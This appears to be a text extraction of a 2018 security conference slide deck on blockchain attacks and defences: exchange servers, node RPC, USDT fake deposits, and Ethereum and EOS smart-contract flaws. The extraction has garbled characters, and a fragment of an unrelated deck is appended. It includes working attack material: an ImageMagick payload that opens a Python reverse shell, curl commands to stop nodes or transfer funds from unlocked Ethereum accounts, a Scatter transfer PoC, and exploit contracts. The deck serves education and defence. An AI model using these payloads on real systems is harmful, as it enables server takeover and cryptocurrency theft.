区块链亡灵军团

Size: px

Start display at page:

Download "区块链亡灵军团"

决略龙
5 years ago
Views:

1 HITCON Pacific 2018

2 区块链亡灵军团 Undead Armies of Blockchain 慢雾科技

3 关于慢雾科技 (SlowMist) 专注区块链生态安全 & 演讲者余弦, 慢雾科技联合创始人 Thinking, 慢雾科技安全研究员致谢慢雾安全团队及慢雾的伙伴们

4 目录引子 DApp 安全攻防链下攻防 RPC/P2P 攻击链上攻防未来 ls -l /

5 引子

6 比特币 6P Public Key + BIP38 Passphrase Private Key

7 中本聪

8 阿桑奇

9 中本聪

10 信仰来源数学之美 : 基于成熟的密码学与算法 Merkle Tree 经济之美 : UTXO(Unspent Transaction Output) 共识算法 POW(Proof of Work)

11 Merkle Tree 父区块父区块哈希 + 版本 + 时间戳 + 难度 + 随机数子区块 From Mastering Bitcoin

12 UTXO Jack Jack 转账 Tom 找零

13 共识算法 POW Proof of Work( 工作量量证明 ) 有难度的记账 -> 概率与统计学游戏 -> 消耗电力力 Hash( 上一个 Hash 值, 交易易记录集, 随机数 ) = ad2b2e5 有难度的记账 -> 有奖励 ->12.5 枚比特币以此共识算法来解决拜占庭将军问题

14 算力力战争

15 门罗的世界匿匿名基于 CryptoNote 挖矿 CPU 算力力友好

16 门罗的世界

17 智能合约相比比特币的非图灵完备脚本, 出现了了图灵完备的合约以太坊 (Ethereum/ETH) EVM Solidity 柚子 (EOS): WebAssembly(Wasm) C++

18 影子经纪人

19 严重缺乏安全感的三大原因 1. 区块链生态自带金金融属性 2. 缺乏国家背书 3. 被攻击后, 普遍溯源很难这些导致亡灵军团的肆虐, 代码即法律律成为发起盗币的借口

20 DApp 安全攻防

22 DApp 安全攻防子目录链下攻防 RPC/P2P 攻防链上攻防

23 链下攻防举几个经典例例子

24 中间人劫持 MyEtherWallet DNS 劫持事件

26 防御不不仅是 HTTPS, 还需要 HSTS HTTP Strict Transport Security

第三方组件 ImageMagick 漏漏洞洞 https://bugs.chromium.

27 第三方组件 ImageMagick 漏漏洞洞 issues/detail?id=1640 许多平台的图片上传后处理理机制都用到了了 ImageMagick

28 ImageMagick 漏漏洞洞 shellexec.jpeg %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream); s.connect((" ",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops

29 漏漏洞洞触发 convert shellexec.jpeg whatever.gif sh -c python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.s OCK_STREAM);s.connect((" ",2333));os.dup2(s.file no(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([ /bin/sh","-i"]);'

30 攻击过程通过恶意构造的图片拿到服务器器反弹后门上传代理理到服务器器长期控制服务器器拿到服务器器配置文件中的数据库账号权限拖走数据库相关数据, 了了解数据库相关表结构操作数据库凭空生成账号余额进行行交易易然后提现完成攻击删除数据库操作订单和账号数据 ( 导致交易易所对账无法发现异常 ) 持续潜伏盗币

31 防御 1. 上层应用严格校验上传输入的图片类型 2. ImageMagick 通过配置文件做相关禁用修改 ImageMagick 的 policy 文件, 默认位置为 /etc/imagemagick/policy.xml, 在 <policymap> 中加入以下 <policy>( 即禁用 PS EPS PDF XPS coders) <policymap> <policy domain="coder" rights="none" pattern="ps" /> <policy domain="coder" rights="none" pattern="eps" /> <policy domain="coder" rights="none" pattern="pdf" /> <policy domain="coder" rights="none" pattern="xps" /> </policymap>

32 XSS TradingView XSS 也是第三方组件 K 线几乎都用这个

33 TradingView XSS

34 DOM XSS 漏漏洞洞利利用 dfeatures=[]&indicatorsfile= 漏漏洞洞位置 D? $.getscript(urlparams.indicatorsfile).done(function () {});

35 防御简单粗暴暴 : 删掉 indicatorsfile 就好, 基本不不用

36 私钥存储私钥即身份杜绝明文私钥的存储与非安全传输密码保护 BIP38 Keystore 硬件层面的安全保护 KMS(Key Management Service) HSM 示例例 : 示例例 :

37 RPC/P2P 攻击比特币 / 以太坊 /EOS

38 Stop Bitcoin Node 以为私钥与节点分离就足够安全, 实际上还可以拒绝服务 (DoS): curl --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"stop","params":[]}' -H 'content-type:text/plain;'

39 防御 Nginx 大法 : 前面加一层 Nginx 反向代理理 IP 替换为域名 HTTP 替换为 HTTPS 用户名密码隐藏白名单大法 : 白名单 API 接口

40 以太坊黑色情人节一种基于以太坊 RPC 的自动化盗币大工程一个潜伏两年年之久针对以太坊的攻击大事件 , 第一次攻击发生 , 由慢雾安全团队全球首次披露露

42 可被攻击的以太坊节点全球分布

43 攻击关键 unlockaccount 私钥在内存中保存的时间, 默认是 300 秒如果设置为 0, 则表示永久存留留在内存, 直至 Geth/Parity 退出 Client Console RPC Method invocation personal.unlockaccount(address, passphrase, duration) {"method": "personal_unlockaccount", "params": [string, string, number]} APIs#personal_unlockaccount

44 攻击关键 unlockaccount 用户在带私钥的节点上进行行解锁钱包操作, 准备转账 > personal.unlockaccount("0x5e97870f263700f46aa00d b9bc5a120") Unlock account 0x5e97870f263700f46aa00d b9bc5a120 Passphrase: true > personal.unlockaccount("0x5e97870f263700f46aa00d b9bc5a120", "foo", 300) true

$攻击关键 eth_sendtransaction 攻击者远程调用以太坊节点 RPC API, 进行行转账操作 curl -X POST --data '{"jsonrpc":"2.$

45 攻击关键 eth_sendtransaction 攻击者远程调用以太坊节点 RPC API, 进行行转账操作 curl -X POST --data '{"jsonrpc":"2.0","method":"eth_sendtransaction","params": [{see below}],"id":1}' params: [{ "from": "0x5e97870f263700f46aa00d b9bc5a120", "to": "0xd46e8dd67c5d32be8058bb8eb970870f ", "gas": "0x76c0", // "gasprice": "0x9184e72a000", // "value": "0x9184e72a", // "nonce":"0x15", // 21 }]

46 攻击关键 eth_sendtransaction params: [{ "from": "0x5e97870f263700f46aa00d b9bc5a120", "to": "0xd46e8dd67c5d32be8058bb8eb970870f ", "gas": "0x76c0", // "gasprice": "0x9184e72a000", // "value": "0x9184e72a", // "nonce":"0x15", // 21 }] "nonce":"0x15 1. 递增 : 从 0 开始每一笔交易易加 1 2. 只和当前钱包有关 3. nonce 过大时, 只需等待小于这个过大 nonce 的所有 nonce 都使用完即可 4. 节点程序 (Geth/Parity) 重启会重置 nonce

47 攻击关键其他相关 API eth_getblockbynumber eth_accounts eth_getbalance eth_sign eth_sendrawtransaction

48 攻击工程找出全球开了了 RPC 的以太坊节点方式一 :8545/8546 端口 :ZMap/MASSCAN 方式二 :P2P 协议扩展相关 RPC API 自动化轮询当碰上节点用户对自己的钱包执行行unlockAccount 时, 立马转走还有其他什什么攻击方式?

49 攻击工程高级技巧当碰上节点用户对自己的钱包执行行 unlockaccount 时, 立马递增 nonce 做一堆合法转账签名即使节点之后关闭 RPC 接口, 也可以 : 一旦 nonce 满足条件立马完成转账操作可以继续脑洞洞...

50 防御除了了 Nginx 大法之外, 还可以... 更更改默认的 RPC API 端口及监听地址为内网配置 iptables 限制对 RPC API 端口的访问, 如 iptables -A INPUT -s p TCP --dport j ACCEPT iptables -A INPUT -p TCP --dport j DROP 账户私钥文件 (keystore) 不不要存放在节点上使用sendRawTransaction 发送私钥签名过的转账记录私钥物理理隔离或者高强度加密存储并保障密钥的安全

51 EOS Scatter 远程权限劫持漏漏洞洞也和 RPC 有关

52 漏漏洞洞剖析关键点 : 删除了了这行行 if 判断漏漏洞洞触发点

53 漏漏洞洞剖析 if(request.data.hasownproperty('appkey')){ 请求只要不不带 appkey 就好直接进入 socket.emit('api', await ApiService.handler(Object.assign(request.data, {plugin:request.plugin})));

54 漏漏洞洞剖析 static async handler(request){ const action = Action.fromJson(request); // Only accept pre-defined messages. if(!object.keys(actions).map(key => Actions[key]).includes(request.type)) return; } return await this[request.type](request);

55 漏漏洞洞剖析 request.type

56 port 50005, socket.io

57 调试调试 socket.io 可以用 socket.io tester

58 攻击关键结合源码进行行 PoC 构造 7c62978c479eb8e617a7e41eb95a0a0d6fb17cd1/packages/core/src/index.js { } "data": { } "type": "getversion"

59 攻击关键 { "data": { createtransaction "type": "createtransaction", "payload": { "blockchain": "eos", "account": "aaaaaaaaaaaa", "network": { "blockchain": "eos", "host": "api1.eosasia.one", "port": 443, "protocol": "https", "chainid": "aca376f206b8fc25a6ed44dbdc66547c36c6c33e3a119ffbeaef943642f0e906" }, "actions": [{ "contract": "eosio.token", "action": "transfer", "params": ["zzzzzzzzzzzz", "eosio", "0.002 EOS", "x"], }] } }

60 攻击关键基于 socket.io 的通信, 可以参考在线版本结合 CSRF 可以让攻击趋于完美

61 防御升级最新的 Scatter 就好大量量数字资产冷存储是非常有必要的

62 更更多 EOS 超级节点安全执行行指南 EOS 超级节点安全审计方案

63 链上攻防区块链安全攻防对抗最激烈烈的地方子子目录假充值攻防以太坊智能合约攻防 EOS智能合约攻防 -

64 假充值攻防一种针对数字货币相关平台的业务风控有关的新型攻击方式

65 USDT 假充值交易易所在进行行 USDT 充值交易易确认是否成功的判断存在逻辑缺陷, 未校验区块链上交易易详情中 valid 字段值是否为 true

66 交易易记录 { "amount": " ", "block": ,... "referenceaddress": "12j8jFDK65Uy72SD8U6HWGG8wU88V13twV", "sendingaddress": "16k5MgZHm2yxiKzrdeaY2vmn13xSSu5xg6", "txid": "4469d1df053c811cd6e26ed0a4e3f9ce448118c454ea9e08ee20a2950ef2077e", "type": "Simple Send", "type_int": 0, "valid": false, "version": 0 }

67 防御深刻理理解 USDT 的机制与交易易细节... USDT 官方也需要给出足够引起重视的安全开发引导

68 以太坊代币假充值类似 USDT 假充值, 但又有自己的特点错误写法正确写法

70 防御合约层错误即抛出异常回滚 requeire if/else + revert/throw 平台层严格校验对接的合约是否有不不严谨的实现严格基于 Event 事件进行行判断, 但要警惕 Event 作恶

71 更更多 XRP Partial Payments 门罗币 (Monero) A bug in the Monero wallet balance can enable theft from exchanges A Post Mortem of The Burning Bug

72 以太坊智能合约攻防第一个图灵完备的智能合约的攻防博弈世界

73 BEC 溢出 0xc5d105e af9bbff092d4b6769c82f793d#code 溢出点 :unit256(cnt) * _value

74 溢出细节 uint256 amount = uint256(cnt) * _value; unit256( 范围 :0 到 2**256-1) 也就是 0 到 : 溢出后从 0 开始计算被攻击导致 amount 为 0, 攻击成功

75 几个有趣的点有 SafeMath 机制, 但唯独被溢出的这行行代码没用 uint256 amount = uint256(cnt) * _value; uint256 amount = uint256(cnt).mul(_value); 有风控机制 whennotpaused 被攻击后, 立刻暂停合约 BEC 溢出事件真正打开了了智能合约潘多拉魔盒

76 transferfrom 权限漏漏洞洞 EDU BAI 等

77 攻击关键 // 批准转账上限 ( 批准目标可以代我转账的上限 ) function approve(address _spender, uint256 _value) public returns (bool success) { } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;

78 攻击关键 // 代我转账的流程 function transferfrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to!= 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); uint previousbalances = balances[_from] + balances[_to]; balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; 溢出不不会导致回滚 Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousbalances); return true; }

79 防御 transferfrom 需要增加判断 : require(allowed[_from][msg.sender] >= _value);

80 算术精度问题 if (price > 0) { uint256 _fee = (price/1000).mul(feepercnt) ; // feepercnt < 100 uint256 _price = price.sub(_fee); feepool.transfer(_fee); _seller.transfer(_price); }

81 攻击关键 Solidity 没有浮点型, 运算结果只保留留整数部分 uint256 _fee = (price/1000).mul(feepercnt); 先除后乘, 因为精度问题, 导致结果会放大误差

82 防御先计算乘法再计算除法

83 类型转换问题 contract Demo { function currentprice(uint256 endingprice, uint256 startingprice, int256 totaltimes, int256 changetimes) view returns(uint256){ require(changetimes < totaltimes); int256 pertimeschange = (int256(endingprice) - int256(startingprice)) / totaltimes; return uint256(int256(startingprice) + changetimes * pertimeschange); } } function luckytest1(uint256 _value) view returns(uint256){ return uint256(int256(_value)); } function luckytest2(uint256 _value) view returns(int256){ return int256(_value); }

84 攻击关键当 startingprice > endingprice 是降价拍卖当 startingprice = endingprice 是定价拍卖当 startingprice < endingprice 是升价拍卖 uint256 转成 int256 结果会变成负数最终返回的结果没有和 startingprice 进行行比较判断

85 攻击过程假设 startingprice 的值为 1000 那么 changetime * pertimeschange 的值要为假设 changetime 的值为 200 那么 pertimeschange 的值为 -5 totaltime 的值为 500 (int256(endingprice) - int256(startingprice)) = -5 * totaltime endingprice = 对应的 uint256 值是

86 攻击过程 endingprice: startingprice: 1000 totaltimes: 500 changetimes: 200

87 防御尽可能减少类型转换的使用, 特别是 uint 和 int 之间相互转换, 类型相同但是表示范围不不同之间的转换也要注意类型转换之后要进行行检测操作, 确保结果与预期的一致

88 变量量覆盖未初始化的存储指针数组长度溢出数组长度及索引可控 Mapping

89 未初始化的存储指针 function editperson(address _address, string _name, uint256 _account) public payable { if(msg.value < 1 ether){ Person storage p = Persons[_account]; p.personaddress = _address; p.value = msg.value; p.name = _name; p.isrich = false; } else{ p.personaddress = _address; p.value = msg.value; p.name = _name; p.isrich = true; } }

90 攻击关键 Struct 是 Storage 类型的声明后没有进行行初始化操作时, 默认指向 slot 0 的位置

91 攻击过程

92 数组长度溢出 function settokenidbyindex(uint256 _index, uint256 _tokenid) public storageaccesscontrol{ tokenids[_index] = _tokenid; // 数组的索引及对应的元素可以控制 } function pushtokenid(uint256 _tokenid) public storageaccesscontrol returns (uint256) { tokenids.push(_tokenid); return tokenids.length; } function decrementtokenidslength() public storageaccesscontrol { tokenids.length--; // 没有对数组的长度进行行判断, 当长度为 0 进行行自减操作时, 产生下溢

93 数组长度溢出 address public owner; address public manageraddress; uint256[] public tokenids; modifier storageaccesscontrol() { require(msg.sender == owner msg.sender == manageraddress); _; } function setowner(address _newowner) external onlyowner { require(_newowner!= address(0)); owner = _newowner; } function setmanager(address _newmanager) external onlyowner { require(_newmanager!= address(0)); manageraddress = _newmanager; }

94 攻击关键数组是 Storage 类型数组的 index 对应元素的 key_slot = sha3(array_slot) + offset Storage 最大只有 2**256 个 slot(0 到 2**256-1) slot 溢出之后可以覆盖相应位置的数据

95 攻击关键执行行 settokenidbyindex owner 的值

96 攻击关键

97 攻击过程操作 decrementtokenidslength 方法会执行行 tokenids.length-- 操作 settokenidbyindex 方法会执行行 tokenids[_index] = _tokenid

98 攻击过程获取储存地址 : web3.sha3("0x ", { encoding: 'hex' }) 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace hex(2**256-0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace + 0) 0xbfa87805ed57dc1f0d489ce33be4c4577d74ccde357eeeee058a32c55c44a532

99 攻击过程执行行 settokenidbyindex owner 的值被改变

100 攻击过程

101 数组长度及索引可控同理理当数组长度及索引可控的时候也有存在变量量覆盖问题 function guess(uint256 x, uint256 blocknum) public payable {... require(blocknum > block.number); if(token.allowance(msg.sender, address(this)) > 0){ token.safetransferfrom(msg.sender, address(this), 1*(10**18)); } if (map.length <= uint256(msg.sender) + x) { map.length = uint256(msg.sender) + x + 1; } map[uint256(msg.sender) + x] = blocknum; }

102 防御 Struct, Array, Mapping 这些类型的变量量在函数中默认是 Storage 类型, 在声明变量量后要进行行初始化操作在进行行数组 length-- 操作的时候, 检查长度要 >0 在用户可以控制的数组长度及索引位置, 添加最大值限制或检查

103 设计 / 业务逻辑错误 address public king; uint public prize; function King() public payable { king = msg.sender; prize = msg.value; } function() external payable { } require(msg.value >= prize msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value;

104 攻击关键没有判断 msg.sender 是否是普通账号, 攻击者通过构造攻击合约参加游戏, 造成拒绝服务攻击攻击合约向目标地址发起事务且 msg.value > prize, 成为 king 攻击合约没有 fallback 函数或者 fallback 函数拒绝接收 ETH, 导致其他用户无法参加游戏

105 攻击 Exploit contract attack{ function goattack(address _add) public payable { } _add.call.value(msg.value)(); } function () payable { } revert();

106 修复方法? function iscontract(address account) internal view returns (bool) { } uint256 size; assembly {size := extcodesize(account)} return size > 0; function() external payable { } require(msg.value >= prize msg.sender == owner); require(!iscontract(msg.sender)); king.transfer(msg.value); king = msg.sender; prize = msg.value;

107 但是 "iscontract" 可以被绕过 contract attack{ // 在合约构造中 extcodesize(account) 的值为 0 // 所以在构造方法中写入攻击代码可以绕过 function attack(address _add) public payable { _add.call.value(msg.value)(); } } function () payable { revert(); }

108 怎么修复? 合理理使用 tx.origin function ishuman(address account) internal view returns (bool) { uint256 size; require(msg.sender == tx.origin); assembly {size := extcodesize(account)} return size == 0; } function() external payable { require(msg.value >= prize msg.sender == owner); require(ishuman(msg.sender)); king.transfer(msg.value); king = msg.sender; prize = msg.value; }

109 ETH DApp Exploit God.Game被攻击事件

110 漏漏洞洞关键 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d#code function dividendsof(address _customeraddress) view public returns (uint256){ return (uint256) ((int256)(profitpershare_ * tokenbalanceledger_[_customeraddress]) - payoutsto_[_customeraddress]) / magnitude; } 减法溢出

111 复现 Exploit interface God { modifier onlyprofitsholders() { require(mydividends(true) > 0); _; } modifier onlytokenholders() { require(mytokens() > 0); _; } function mytokens() public view returns (uint256); function transfer(address _toaddress, uint256 _amountoftokens) public returns (bool); function withdraw() onlyprofitsholders() public; function mydividends(bool _includereferralbonus) public view returns (uint256); function sell(uint256 _amountoftokens) onlytokenholders() public; function reinvest() onlyprofitsholders() public; }

112 复现 Exploit contract Ack { function tokenfallback(address _from, uint _amountoftokens, bytes _data) public returns (bool) { return true; } address public god_add = 0xada045bf af21e7d00dcbeaa695872a; God god = God(god_add); function transfer(address _toaddress, uint256 _amountoftokens) public returns (bool) { god.transfer(_toaddress, _amountoftokens); }...

113 复现 Exploit }... function withdraw() payable public { god.withdraw(); } function reinvest() payable public { } god.reinvest(); function() payable public{} function sell(uint256 _amountoftokens) payable public { god.sell(_amountoftokens); }

114 更更多慢雾安全团队知识库

115 EOS 智能合约攻防虽然也是图灵完备的智能合约, 但几乎独立的攻防博弈新世界

116 EOS 合约第一个溢出攻击 EOS 智能合约底层 asset 类存在溢出缺陷

117 溢出本质 EOS 智能合约官方 asset 类存在溢出缺陷官方 api 中 asset 结构体的乘法运算溢出漏漏洞洞描述.html

118 溢出本质 EOS 智能合约官方 asset 类存在溢出缺陷 Fix for asset overflows in eosiolib for parity with the WASM SDK (#5092)

119 防御用好官方的 asset 类, 不不要自己去实现 #include <eosiolib/asset.hpp> asset quantity 用好 uint 和 int

120 随机数安全拿 EOS 合约来举例例随机数生成算法引入了了可控或者可预测的种子

121 随机数安全

122 防御 EOS 链上不不能生成真随机数 Randomization in Contracts

123 新型回滚攻击目标合约在收到转账通知的同时生成随机数目标合约将随机数保存在表中攻击合约通过跨合约查表方式获取数据攻击合约通过获取到的数据决定是否回滚

124 复现 Exploit 通过查看 ABI 可复原表结构 // 复原表结构 struct game_info { uint64_t id; account_name player; eosio::asset amount; eosio::asset bonus; uint8_t bet_type; uint8_t bet_number; uint8_t bet_result; checksum160 user_seed_hash; uint64_t created_at; uint64_t primary_key() const { return id; } }; typedef eosio::multi_index<n(games), game_info> game_info_index;

125 复现 Exploit // 查询是否中奖 void query(){ game_info_index _checktable(n(imeoswinner1), N(imeoswinner1)); } auto iter = _checktable.rbegin(); if(iter->player!= _self iter->bet_result >= 50){ } // 下注 eosio_assert( false, "roll back" ); void init(account_name to, asset quantity, std::string memo) { } require_auth(_self); SEND_INLINE_ACTION( eosio::token(n(eosio.token)), transfer, {_self, N(active)}, {_self, to, quantity, memo} ); SEND_INLINE_ACTION( *this, query, {_self, N(active)}, std::make_tuple() );

126 防御使用 defer action 延迟执行行生成随机数

127 更更多 EOS 智能合约最佳安全开发指南狼人游戏 EOSBet EOSDice 等十八个安全漏漏洞洞事件始末

128

129 未来

130 公链生态当我们谈区块链时, 我们谈的是公链支付与结算竞技类 DApp( 剧烈烈发展中 ) 身份基础设施 : 交易易所钱包节点 ( 超级节点矿池等 )

131 安全生态随着公链的发展会越来越精细基础设施安全 DApp 安全面向 C 端的安全区块链威胁情报 (BTI) 链上链下的情报共享与威胁治理理会更更加迫切与完善比起传统攻击者转型, 新型攻击者更更容易易从公链相关开发者诞生

132 隐私自由与安全公链的进化会诞生真正的隐私自由与安全的群体公链的进化会逐渐诞生新型作恶群体公链的进化会解决国家种族群体之间的某些信任边界...

133 Q&A

区块链安全的至暗时刻

区块链安全的至暗时刻 https://www.noneage.com 区块链安全的至暗时刻邓永凯 @ 零时科技 1 区块链安全现状 140 区块链安全事件趋势图 138 105 70 35 15 9 3 4 3 6 8 0 2011 2012 2013 2014 2015 2016 2017 2018 区块链安全经济损失图 300000 263,812 225000 150000 75000 63,428 46,568